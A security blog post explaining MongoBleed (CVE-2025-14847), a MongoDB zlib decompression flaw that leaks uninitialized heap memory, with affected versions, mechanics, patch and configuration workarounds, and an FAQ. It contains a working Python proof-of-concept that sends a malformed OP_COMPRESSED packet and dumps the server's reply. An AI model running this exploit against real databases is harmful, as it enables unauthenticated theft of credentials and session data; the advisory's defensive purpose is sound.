MongoBleed: The Critical Flaw Leaking Your Database Memory (CVE-2025-14847) • William OGOU Cybersecurity Blog

Q: What is MongoBleed (CVE-2025-14847)?

MongoBleed is a critical vulnerability in MongoDB that allows unauthenticated attackers to read uninitialized memory from the server's heap due to a flaw in Zlib decompression handling.

Q: Which versions of MongoDB are affected?

The vulnerability affects MongoDB versions 4.4 (< 4.4.30), 5.0 (< 5.0.32), 6.0 (< 6.0.27), and 7.0 (< 7.0.28).

Q: How does the attack work?

Attackers send a compressed packet claiming a large uncompressed size but providing a tiny payload. The server allocates a large buffer, fills only a small part of it, and treats the rest (uninitialized memory) as valid data, potentially leaking it back.

Q: What is the fix for MongoBleed?

The definitive fix is to upgrade to the patched versions: 7.0.28+, 6.0.27+, 5.0.32+, or 4.4.30+. Alternatively, disable the `zlib` compressor in the configuration.

Q: Can this vulnerability be exploited remotely?

Yes, an unauthenticated remote attacker with network access to the MongoDB port (default 27017) can exploit this vulnerability to leak sensitive data.

A severe vulnerability has been discovered in MongoDB that could allow unauthenticated attackers to read uninitialized memory from the server. Dubbed MongoBleed (CVE-2025-14847), this flaw resides in the wire protocol’s compression handling and can lead to the leakage of sensitive data—including authentication credentials and session tokens—directly from the server’s heap.

If you are running MongoDB versions 4.4 through 7.0, your database might be bleeding data to anyone who can connect to its port.

What to Remember

Critical Memory Leak: CVE-2025-14847 allows unauthenticated attackers to read sensitive heap memory.
Logic Flaw: The bug is in the ZlibMessageCompressor, where the allocated buffer size is returned instead of the actual decompressed size.
Wide Impact: Affects MongoDB versions 4.4 through 7.0.
Immediate Action: Upgrade to the latest patch immediately or disable Zlib compression as a workaround.

The Core Mechanics

The vulnerability is a classic logic error in memory management, specifically within the ZlibMessageCompressor::decompressData function.

The Flaw: When MongoDB receives a compressed message (using the Zlib compressor), it allocates a buffer based on the uncompressedSize declared in the packet header. It then attempts to decompress the payload into this buffer. In vulnerable versions, the function returns the total size of the allocated buffer as the success value, rather than the actual number of bytes written by the decompression routine.

The Exploit:

Allocation: An attacker sends a packet claiming a large uncompressedSize (e.g., 1MB), causing the server to allocate a 1MB heap buffer.
Decompression: The actual compressed payload is tiny (e.g., decompressing to just a few bytes). Zlib writes these few bytes at the start of the buffer.
The Leak: Because the function reports success for the full 1MB size, MongoDB treats the entire buffer as valid data. The vast majority of this buffer contains uninitialized memory—leftover data from previous operations (e.g., other users’ queries, auth tokens).
Exfiltration: If the server processes this “message” and reflects it back in an error or response, the uninitialized memory is sent to the attacker.

Affected Versions

This is a widespread issue affecting multiple major release branches:

MongoDB 7.0: Versions < 7.0.28
MongoDB 6.0: Versions < 6.0.27
MongoDB 5.0: Versions < 5.0.32
MongoDB 4.4: Versions < 4.4.30

Proof of Concept: Triggering the Leak

To understand how simple this exploit is, we can look at the mechanism required to trigger it. The vulnerability does not require complex authentication bypasses; it simply requires speaking the MongoDB wire protocol and lying about the compression size.

The following Python script demonstrates the attack vector. It constructs a raw OP_COMPRESSED packet where the header claims a large uncompressed size (triggering a large heap allocation), but the actual Zlib payload is tiny.

⚠️ Warning: This code is for educational and authorized testing purposes only. Do not use this against systems you do not own.

import socket
import struct
import zlib

def build_malicious_packet():
    # 1. Create a valid but tiny Zlib payload
    # This specific stream decompresses to very few bytes
    zlib_payload = bytes([
        0x78, 0xda, 0x63, 0x60, 0x00, 0x82, 0xdf, 0xf2, 0x0c, 0x0c, 
        0xac, 0xf1, 0x99, 0x29, 0x0c, 0x0c, 0x02, 0x40, 0x9e, 0x87, 
        0xab, 0x63, 0x80, 0x8f, 0xab, 0xa3, 0x37, 0x03, 0x12, 0x00, 
        0x00, 0x6d, 0x26, 0x04, 0x97
    ])

    # 2. Define the Attack Parameters
    original_opcode = 2013 # OP_MSG
    compressor_id = 2      # 2 = zlib
    
    # THE LIE: We claim the uncompressed size is 1024 bytes (allocating heap memory)
    # in reality, the zlib_payload above is much smaller.
    uncompressed_size = 1024  

    # 3. Construct the Message Body
    # Format: OriginalOpCode + UncompressedSize + CompressorId + ZlibData
    message_body = struct.pack('<iiB', original_opcode, uncompressed_size, compressor_id) + zlib_payload

    # 4. Construct the MongoDB Header
    # Standard header required for the server to process the packet
    total_len = 16 + len(message_body)
    request_id = 0xadde
    response_to = 0
    opcode = 2012 # OP_COMPRESSED

    header = struct.pack('<iiii', total_len, request_id, response_to, opcode)
    
    return header + message_body

def test_exploit(target_ip, target_port=27017):
    print(f"[*] Connecting to {target_ip}:{target_port}...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        s.connect((target_ip, target_port))
        print("[*] Sending Malformed Zlib OP_COMPRESSED packet...")
        
        payload = build_malicious_packet()
        s.sendall(payload)

        # Receive response
        response = s.recv(4096)
        print(f"[*] Received {len(response)} bytes.")
        
        if len(response) > 0:
            print("(!) Server responded. If vulnerable, this may contain leaked memory.")
            print(f"Hex: {response.hex()}")
        else:
            print("(*) Connection closed. Server likely patched or crashed.")

    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        s.close()

if __name__ == "__main__":
    # Change to your target testing instance
    test_exploit("127.0.0.1")

What happens when you run this?

Vulnerable Server: The server accepts the packet. It allocates 1024 bytes of heap memory, writes the tiny decompressed payload to the beginning, and leaves the rest of the buffer full of “dirty” memory (previous data). It then attempts to process this buffer. If it replies with an error message containing the data, or reflects the data back, you have successfully leaked memory.
Patched Server: The Zlib wrapper correctly identifies that the decompressed bytes do not match the expected uncompressed_size. It raises a BadValue error or immediately closes the connection, preventing the memory read.

How to Fix It

Upgrade Immediately. MongoDB has released patches for all supported versions.

Upgrade to 7.0.28+, 6.0.27+, 5.0.32+, or 4.4.30+.

No Patch Available? If you cannot upgrade immediately:

Disable Compression: Disable the zlib network compressor in your mongod.conf or via command-line arguments. This stops the vulnerable code path from being reachable.
```
net:
  compression:
    compressors: snappy,zstd  # Remove "zlib"
```
Network Isolation: Ensure your database port (default 27017) is not exposed to the internet. Use VPNs or strict firewall rules to limit access to trusted application servers only.

Conclusion

MongoBleed is a reminder that memory safety bugs can hide in plain sight—even in mature codebases like Zlib wrappers. Because this exploit requires no authentication, it is a “drop-everything-and-patch” event for any internet-facing MongoDB instance.

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Frequently Asked Questions (FAQ)

What is MongoBleed (CVE-2025-14847)?

MongoBleed is a critical vulnerability in MongoDB that allows unauthenticated attackers to read uninitialized memory from the server's heap due to a flaw in Zlib decompression handling.

Which versions of MongoDB are affected?

The vulnerability affects MongoDB versions 4.4 (< 4.4.30), 5.0 (< 5.0.32), 6.0 (< 6.0.27), and 7.0 (< 7.0.28).

How does the attack work?

Attackers send a compressed packet claiming a large uncompressed size but providing a tiny payload. The server allocates a large buffer, fills only a small part of it, and treats the rest (uninitialized memory) as valid data, potentially leaking it back.

What is the fix for MongoBleed?